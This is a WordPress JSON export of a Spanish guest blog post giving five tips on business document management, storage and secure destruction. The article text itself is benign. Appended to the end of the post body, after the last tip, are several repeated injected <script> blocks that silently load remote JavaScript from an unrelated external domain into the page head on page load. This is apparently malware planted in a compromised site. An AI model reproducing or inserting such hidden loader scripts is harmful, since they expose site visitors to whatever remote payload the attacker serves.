{"id":581,"date":"2011-10-26T17:49:23","date_gmt":"2011-10-26T15:49:23","guid":{"rendered":"http:\/\/www.blocument.com\/?p=581"},"modified":"2026-03-20T06:24:27","modified_gmt":"2026-03-20T11:24:27","slug":"cinco-consejos-que-te-ayudan-a-salvaguardar-el-futuro-de-tu-negocio-2","status":"publish","type":"post","link":"https:\/\/www.adapting.com\/en\/cinco-consejos-que-te-ayudan-a-salvaguardar-el-futuro-de-tu-negocio-2\/","title":{"rendered":"Cinco consejos que te ayudan a salvaguardar el futuro de tu negocio"},"content":{"rendered":"<p><em>[Nota: Peri\u00f3dicamente recibimos en el blog a autores invitados. Este art\u00edculo est\u00e1 escrito por\u00a0 el equipo de<strong> Iron Mountain<\/strong>, especialistas en custodia y destrucci\u00f3n de\u00a0documentos.]<\/em><\/p>\n<p>En cualquier tipo de negocio, una correcta y apropiada gesti\u00f3n documental es una parte fundamental del \u00e9xito de tu empresa en los tiempos que corren.\u00a0 Por ejemplo, comunicaci\u00f3n con tus empleados, informaci\u00f3n confidencial de los clientes, etc. Adem\u00e1s, te puede ayudar a\u00a0 evitar incluso los juicios m\u00e1s largos y contenciosos.<\/p>\n<p>Para empezar, \u00bfqu\u00e9 significa una gesti\u00f3n documental correcta y apropiada? Para algunos, es tan sencillo como qu\u00e9 documentos archivar, por cu\u00e1nto tiempo o qu\u00e9 documentos destruir. Para muchos, en particular aquellos negocios que manejan un gran volumen de informaci\u00f3n, suele ser necesario disponer de un servicio especializado de gestor\u00eda de archivos. Las soluciones ofrecen cubren el ciclo de vida de la informaci\u00f3n: desde la <a href=\"http:\/\/ironmountain.es\/whatwedo\/records-management-and-storage.asp\" target=\"_blank\" rel=\"noopener\" class=\"broken_link\">custodia de archivos<\/a> y escaneado de documentos a su destrucci\u00f3n segura.<\/p>\n<p>He aqu\u00ed los <strong>cinco consejos<\/strong> prometidos m\u00e1s arriba:<\/p>\n<p><a href=\"https:\/\/www.adapting.com\/wp-content\/uploads\/2011\/10\/Uno.jpg\"><img loading=\"lazy\" class=\"alignleft size-full wp-image-585\" title=\"Uno\" src=\"https:\/\/www.adapting.com\/wp-content\/uploads\/2011\/10\/Uno.jpg\" alt=\"\" width=\"35\" height=\"48\" \/><\/a><strong>Conoce tu propia informaci\u00f3n<\/strong><br \/>\nEsto implica asegurarse de que tus empleados conocen la pol\u00edtica de empresa en cuanto a qu\u00e9 archivar, c\u00f3mo y d\u00f3nde. Hay estad\u00edsticas recientes seg\u00fan las cuales m\u00e1s de un 70% de las empresas dicen encontrar m\u00e1s f\u00e1cilmente informaci\u00f3n que no poseen que la informaci\u00f3n que s\u00ed tienen.<\/p>\n<p><a href=\"https:\/\/www.adapting.com\/wp-content\/uploads\/2011\/10\/Dos.jpg\"><img loading=\"lazy\" class=\"alignleft size-full wp-image-587\" title=\"Dos\" src=\"https:\/\/www.adapting.com\/wp-content\/uploads\/2011\/10\/Dos.jpg\" alt=\"\" width=\"38\" height=\"51\" \/><\/a><strong>Backup y encriptaci\u00f3n<br \/>\n<\/strong>No es suficiente con apilar cajas con archivos en una sala a los que se les da cualquier nombre. Los empleados, tanto si trabajan en la oficina o desde casa, deben organizar su informaci\u00f3n de una manera \u00f3ptima y darles a sus archivos nombres que hagan dichos archivos f\u00e1cilmente reconocibles.<\/p>\n<p><strong><a href=\"https:\/\/www.adapting.com\/wp-content\/uploads\/2011\/10\/Tres.jpg\"><img loading=\"lazy\" class=\"alignleft size-full wp-image-588\" title=\"Tres\" src=\"https:\/\/www.adapting.com\/wp-content\/uploads\/2011\/10\/Tres.jpg\" alt=\"\" width=\"39\" height=\"53\" \/><\/a>Recuperaci\u00f3n en caso de desastre<\/strong><br \/>\nPara prevenir incidencias, como fuego o robo, los especialistas recomiendan <a href=\"http:\/\/www.ironmountain.es\/whatwedo\/document-storage-services.asp\" target=\"_blank\" rel=\"noopener\" class=\"broken_link\">almacenar los archivos<\/a> en un lugar especialmente dise\u00f1ado para este efecto y alejado de tu empresa.<\/p>\n<p><a href=\"https:\/\/www.adapting.com\/wp-content\/uploads\/2011\/10\/Cuatro.jpg\"><img loading=\"lazy\" class=\"alignleft size-full wp-image-589\" title=\"Cuatro\" src=\"https:\/\/www.adapting.com\/wp-content\/uploads\/2011\/10\/Cuatro.jpg\" alt=\"\" width=\"39\" height=\"57\" \/><\/a><strong>Destrucci\u00f3n segura<\/strong><br \/>\nSiempre se recomienda <a href=\"http:\/\/ironmountain.es\/whatwedo\/secure-shredding.asp\" target=\"_blank\" rel=\"noopener\" class=\"broken_link\">destruir la informaci\u00f3n<\/a> que no se necesite. Muchas empresas especializadas ofrecen este servicio junto con sus soluciones de almacenamiento de datos.<\/p>\n<p><a href=\"https:\/\/www.adapting.com\/wp-content\/uploads\/2011\/10\/Cinco.jpg\"><img loading=\"lazy\" class=\"alignleft size-full wp-image-590\" title=\"Cinco\" src=\"https:\/\/www.adapting.com\/wp-content\/uploads\/2011\/10\/Cinco.jpg\" alt=\"\" width=\"37\" height=\"53\" \/><\/a><strong>T\u00f3mate tu tiempo<\/strong><br \/>\nDecidir la mejor soluci\u00f3n pasa por definir las necesidades de tu empresa o negocio. Piensa a largo plazo. Por ejemplo, almacenar tus archivos en tu empresa puede ser m\u00e1s caro a largo plazo, sobre todo ante una eventualidad.<script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 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